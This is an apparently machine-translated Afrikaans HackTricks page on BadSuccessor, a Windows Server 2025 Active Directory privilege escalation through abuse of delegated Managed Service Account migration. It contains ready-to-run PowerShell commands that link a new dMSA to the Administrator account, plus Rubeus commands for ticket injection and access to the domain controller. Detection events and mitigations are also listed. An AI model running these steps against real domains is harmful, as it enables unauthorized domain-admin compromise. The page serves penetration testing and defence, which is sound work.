BadSuccessor: Privilege Escalation via Delegated MSA Migration Abuse
Reading time: 5 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die π¬ Discord groep of die telegram groep of volg ons op Twitter π¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Oorsig
Delegated Managed Service Accounts (dMSA) is die volgende generasie opvolger van gMSA wat in Windows Server 2025 verskaf word. 'n Legitieme migrasieworkflow laat administrateurs toe om 'n ou rekening (gebruikers-, rekenaar- of diensrekening) met 'n dMSA te vervang terwyl toestemming deursigtig behou word. Die workflow word blootgestel deur PowerShell cmdlets soos Start-ADServiceAccountMigration
en Complete-ADServiceAccountMigration
en is afhanklik van twee LDAP-attribuut van die dMSA objek:
msDS-ManagedAccountPrecededByLink
β DN skakel na die vervangde (ou) rekening.msDS-DelegatedMSAState
β migrasiestaat (0
= geen,1
= in proses,2
= voltooi).
As 'n aanvaller enige dMSA binne 'n OU kan skep en daardie 2 attribuut direk kan manipuleer, sal LSASS & die KDC die dMSA as 'n opvolger van die gekoppelde rekening behandel. Wanneer die aanvaller vervolgens as die dMSA autentiseer, erf hulle al die voorregte van die gekoppelde rekening β tot Domein Admin as die Administrateurrekening gekoppel is.
Hierdie tegniek is BadSuccessor genoem deur Unit 42 in 2025. Ten tyde van skryf is daar geen sekuriteitsopdatering beskikbaar nie; slegs die verharding van OU-toestemmings verminder die probleem.
Aanval vereistes
- 'n Rekening wat toegelaat word om voorwerpe binne 'n Organisatoriese Eenheid (OU) te skep en het ten minste een van:
Create Child
βmsDS-DelegatedManagedServiceAccount
objek klasCreate Child
βAll Objects
(generiese skep)
- Netwerkverbinding na LDAP & Kerberos (standaard domein aangeslote scenario / afstandaanval).
Opname van Kwetsbare OUs
Unit 42 het 'n PowerShell-helper skrip vrygestel wat sekuriteitsbeskrywings van elke OU ontleed en die vereiste ACE's uitlig:
Get-BadSuccessorOUPermissions.ps1 -Domain contoso.local
Onder die oppervlak voer die skrip 'n gepagte LDAP-soektog uit vir (objectClass=organizationalUnit)
en kontroleer elke nTSecurityDescriptor
vir
ADS_RIGHT_DS_CREATE_CHILD
(0x0001)Active Directory Schema ID: 31ed51fa-77b1-4175-884a-5c6f3f6f34e8
(objek klas msDS-DelegatedManagedServiceAccount)
Exploitasiestappe
Sodra 'n skryfbare OU geΓ―dentifiseer is, is die aanval net 3 LDAP-skrywe weg:
# 1. Create a new delegated MSA inside the delegated OU
New-ADServiceAccount -Name attacker_dMSA \
-DNSHostName host.contoso.local \
-Path "OU=DelegatedOU,DC=contoso,DC=com"
# 2. Point the dMSA to the target account (e.g. Domain Admin)
Set-ADServiceAccount attacker_dMSA -Add \
@{msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=contoso,DC=com"}
# 3. Mark the migration as *completed*
Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
Na replika kan die aanvaller eenvoudig logon as attacker_dMSA$
of 'n Kerberos TGT aan vra β Windows sal die token van die vervanger rekening bou.
Outomatisering
Verskeie openbare PoCs omhul die hele werksvloei, insluitend wagwoordherwinning en kaartbestuur:
- SharpSuccessor (C#) β https://github.com/logangoins/SharpSuccessor
- BadSuccessor.ps1 (PowerShell) β https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1
- NetExec module β
badsuccessor
(Python) β https://github.com/Pennyw0rth/NetExec
Post-Exploitasie
# Request a TGT for the dMSA and inject it (Rubeus)
Rubeus asktgt /user:attacker_dMSA$ /password:<ClearTextPwd> /domain:contoso.local
Rubeus ptt /ticket:<Base64TGT>
# Access Domain Admin resources
dir \\DC01\C$
Ontdekking & Jag
Aktiveer Objek Ouditering op OUs en monitor vir die volgende Windows Sekuriteit Gebeure:
- 5137 β Skepping van die dMSA objek
- 5136 β Wysiging van
msDS-ManagedAccountPrecededByLink
- 4662 β Spesifieke attribuut veranderinge
- GUID
2f5c138a-bd38-4016-88b4-0ec87cbb4919
βmsDS-DelegatedMSAState
- GUID
a0945b2b-57a2-43bd-b327-4d112a4e8bd1
βmsDS-ManagedAccountPrecededByLink
- 2946 β TGT uitreiking vir die dMSA
Die korrelasie van 4662
(attribuut wysiging), 4741
(skepping van 'n rekenaar/dienste rekening) en 4624
(volgende aanmelding) beklemtoon vinnig BadSuccessor aktiwiteit. XDR oplossings soos XSIAM kom met gereed-om-te-gebruik navrae (sien verwysings).
Versagting
- Pas die beginsel van minimale bevoegdheid toe β delegeer slegs Dienste Rekening bestuur aan vertroude rolle.
- Verwyder
Create Child
/msDS-DelegatedManagedServiceAccount
van OUs wat dit nie eksplisiet vereis nie. - Monitor vir die gebeurtenis ID's hierbo gelys en waarsku oor nie-Tier-0 identiteite wat dMSAs skep of redigeer.
Sien ook
Verwysings
- Unit42 β Wanneer Goeie Rekeninge Sleg Gaan: Exploiting Delegated Managed Service Accounts
- SharpSuccessor PoC
- BadSuccessor.ps1 β Pentest-Tools-Collection
- NetExec BadSuccessor module
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die π¬ Discord groep of die telegram groep of volg ons op Twitter π¦ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.